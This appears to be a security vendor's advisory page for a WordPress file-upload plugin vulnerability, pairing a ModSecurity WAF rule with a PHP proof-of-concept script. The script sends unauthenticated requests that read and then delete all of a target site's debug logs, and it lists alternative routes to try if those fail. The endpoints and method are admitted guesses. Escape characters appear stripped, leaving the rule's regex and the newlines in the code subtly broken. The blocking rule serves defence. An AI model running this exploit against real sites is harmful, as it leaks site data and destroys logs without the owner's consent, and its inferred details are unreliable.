CVE-2026-12557: Ninja Forms File Uploads <= 3.3.29 Missing Authorization to Unauthenticated Log Disclosure and Deletion via debug-log/delete-all and debug-log/get-all REST Endpoints PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2026-12557 (metadata-based)
# Blocks unauthenticated access to Ninja Forms - File Uploads debug-log REST endpoints
# This rule targets both the read and delete endpoints to prevent exploitation

SecRule REQUEST_URI "@rx ^/wp-json/ninja-forms-uploads/vd+/debug-log/(get-all|delete-all)$" 
  "id:202612557,phase:2,deny,status:403,msg:'CVE-2026-12557 - Unauthorized access to Ninja Forms debug log endpoints',severity:'CRITICAL',tag:'CVE-2026-12557'"

# Alternative rule: block requests without proper authorization headers/nonces (if applicable)
# Since the vulnerability is missing auth entirely for unauthenticated users, blocking the endpoint is sufficient.

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12557 - Ninja Forms - File Uploads <= 3.3.29 - Missing Authorization to Unauthenticated Log Disclosure and Deletion via debug-log/delete-all and debug-log/get-all REST Endpoints

// This proof-of-concept demonstrates how an unauthenticated attacker can read all debug logs
// and delete all log entries by accessing the vulnerable REST API endpoints.
// The specific REST route structure is inferred from the plugin's namespace convention.

// Configuration: Set the target WordPress site URL
$target_url = 'http://example.com'; // CHANGE THIS to the target site's URL

// Initialize cURL
$curl = curl_init();

// ---------- Step 1: Read all debug log entries ----------
echo "[Atomic Edge] Attempting to read debug logs...n";

$read_endpoint = $target_url . '/wp-json/ninja-forms-uploads/v1/debug-log/get-all';

curl_setopt_array($curl, [
    CURLOPT_URL => $read_endpoint,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_HTTPGET => true,
    CURLOPT_TIMEOUT => 30,
]);

$response = curl_exec($curl);
$http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
$error = curl_error($curl);

if ($error) {
    echo "[Error] cURL error: $errorn";
} else {
    echo "[Info] HTTP response code: $http_coden";
    if ($http_code === 200) {
        echo "[Success] Debug log data retrieved:n";
        $data = json_decode($response, true);
        if (json_last_error() === JSON_ERROR_NONE) {
            print_r($data);
        } else {
            echo "[Warning] Response is not valid JSON. Raw output:n$responsen";
        }
    } elseif ($http_code === 404) {
        echo "[Warning] Endpoint not found. Try alternative route paths.n";
    } else {
        echo "[Warning] Unexpected HTTP response. Raw response:n$responsen";
    }
}

// ---------- Step 2: Delete all debug log entries ----------
echo "n[Atomic Edge] Attempting to delete all debug logs...n";

$delete_endpoint = $target_url . '/wp-json/ninja-forms-uploads/v1/debug-log/delete-all';

curl_setopt_array($curl, [
    CURLOPT_URL => $delete_endpoint,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => false,
    CURLOPT_POST => true,  // Assuming POST is required for deletion
    CURLOPT_TIMEOUT => 30,
]);

$response = curl_exec($curl);
$http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
$error = curl_error($curl);

if ($error) {
    echo "[Error] cURL error: $errorn";
} else {
    echo "[Info] HTTP response code: $http_coden";
    if ($http_code === 200) {
        echo "[Success] Debug logs deleted successfully.n";
        echo "[Info] Response: " . $response . "n";
    } elseif ($http_code === 404) {
        echo "[Warning] Endpoint not found. Try alternative route paths.n";
    } else {
        echo "[Warning] Unexpected HTTP response. Raw response:n$responsen";
    }
}

curl_close($curl);

// Note: If the endpoints above return 404, the attacker could try alternative paths:
// - /wp-json/nf-uploads/v1/debug-log/get-all
// - /wp-json/ninja-forms-uploads/debug-log/get-all (without version)
// - /wp-json/ninja-forms-uploads/v1/debug-log/get-all/
// The exact route is inferred from the plugin slug and common WordPress REST API patterns.
// If a different route is used, adjust the URLs accordingly.